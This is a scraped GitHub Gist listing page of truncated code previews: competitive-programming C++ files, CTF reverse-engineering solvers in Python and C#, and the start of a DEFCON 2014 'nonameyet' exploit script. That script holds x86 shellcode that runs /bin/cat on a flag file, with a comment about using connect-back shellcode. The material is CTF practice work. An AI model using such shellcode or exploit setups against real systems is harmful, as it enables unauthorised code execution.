Skip to content

Instantly share code, notes, and snippets.

@potetisensei
potetisensei / 4.cpp
Created December 15, 2013 07:34
Source上げるゾ
#include <cstdio>
using namespace std;
#define J 1
#define O 2
#define I 4
int need[1000];
int dp[8][1000];
@potetisensei
potetisensei / 5.cpp
Created December 15, 2013 07:26
Source上げるゾ
#include <cstdio>
#include <vector>
#include <utility>
#include <algorithm>
#include <queue>
#define INF 0xfffffff
using namespace std;
@potetisensei
potetisensei / decompile.cs
Last active December 28, 2015 23:49
bin100 source
public void check_password(string password) {
string environmentVariable = MyProject.Application.GetEnvironmentVariable("USERNAME");
string s = "_P4d11n9_" + environmentVariable + "_P4d11n9_";
MD5CryptoServiceProvider cryptoServiceProvider = new MD5CryptoServiceProvider();
byte[] hash1 = cryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(s));
int[] numArray = new int[6] {1310, 1450, 1435, 1316, 1302, 1439};
int index1 = 0;
int num1 = 0;
int num2 = hash1.Length - 1;
int index2 = num1;
@potetisensei
potetisensei / script.py
Last active December 28, 2015 23:39
bin 150
flag = "jV[\036xR_Y\036WM\004\036]\006\017\b_\006[_\\\r\r_\b\t\a\n\t]Z\b\n\t_\tX]\aX\\\f\v\n"
print "".join(chr(ord(c) ^ (0x37+7)) for c in flag)
@potetisensei
potetisensei / script.py
Last active December 28, 2015 23:39
CSCamp bin100
from hashlib import md5
from sys import exit
def check(s):
vals = [1310, 1450, 1435, 1316, 1302, 1439]
return all(ord(s[i*3])^1337 == vals[i] for i in range(6))
chars = ["", "_"] + [chr(i) for i in range(ord("A"), ord("Z")+1)] + [chr(i) for i in range(ord("a"), ord("z")+
1)]
password = "6sZh2HZCx3DI66Xs"
@potetisensei
potetisensei / exception.h
Created October 27, 2013 16:04
動くか知らん
#include <setjmp.h>
#include "stack.h"
#include "queue.h"
#include "template.h"
#define _tmp_var(name) \
__tmp_var(name, __LINE__)
#define __tmp_var(name, line) \
___tmp_var(name, line)
@potetisensei
potetisensei / nonameyet.py
Last active August 29, 2015 14:26
nonameyet - DEFCON 2014
from socket import *
from time import time, sleep
from struct import pack
from sys import argv
HOST = "localhost"
shellcode = "\x31\xc0\x50\x68\x66\x6c\x61\x67\x68\x2e\x2e\x2f\x2f\x54\x5f\x50\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x54\x5b\x50\x57\x53\x54\x59\x6a\x0b\x58\xcd\x80" # should use connectback shellcode actually
def main():
payload1 = "a" * 34
#include <cstdio>
#include <utility>
#include <algorithm>
using namespace std;
typedef pair<int, int> Pair;
inline int det(Pair p1, Pair p2) {
return p1.first * p2.second - p1.second * p2.first;
}
#include <cstdio>
#include <cmath>
#include <utility>
#include <algorithm>
using namespace std;
#define PI 3.1415926535
typedef pair<int, int> Pair;
int n;
import string
from socket import *
from struct import pack, unpack
from commands import getoutput
from time import sleep, time
from sys import argv, exit
def read_noblock(p, n):
p.setblocking(False)
try: